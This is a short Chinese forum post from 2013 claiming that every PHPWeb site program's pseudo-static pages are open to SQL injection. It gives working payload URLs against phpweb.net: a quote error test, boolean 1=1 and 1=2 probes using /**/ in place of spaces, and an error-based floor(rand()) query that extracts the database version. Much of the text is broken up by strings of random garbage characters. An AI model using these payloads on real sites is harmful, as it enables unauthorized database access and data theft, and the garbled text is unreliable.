phpweb所有的整站程序伪静态页面都存在sql注入
2 D& r* U" X( j3 i9 I
" ?: {' D' p5 l; q" Z g9 C# [% n主站：http://phpweb.net/# ^ M3 I; M: E e! m/ G. Z
加’检测：
- \$ i9 ~7 z( n) l2 ]. G1 \ - n3 m/ x7 e* Q" S4 D
http://www.phpweb.net/down/html/?772′.html6 {, N k) z7 T, U! M. ]
& @$ ^" n6 V0 F) K( g% R# H' f出错
9 U5 B( U. }2 N存在注入。" b# k- I2 @5 X& R1 x/ Q4 C
不能用空格，只能用/*罗
9 _$ p: C7 |7 ^" k- i7 Nhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常0 t. ~& Z/ s9 S8 }# v
( ~. x1 \- I# ?1 R# t- Q9 {http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.. u+ E6 }; L4 L0 [
爆数据库版本：
$ @" {) k6 U& C# p* j( w' i! ` 9 S" `& ?- u0 W0 [; G% @' R
?
2 \; n( H2 N' o) b1# L- X; g& [' [' M8 T! d. I
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
6 _1 J& e" A7 R1 f) j' J" C8 j% ~更新日期: 2013-01-03 13:39:50
& R% Z2 ^5 X. H7 G. d- E9 e |
发表于 2013-1-4 19:46:42
收藏
支持
反对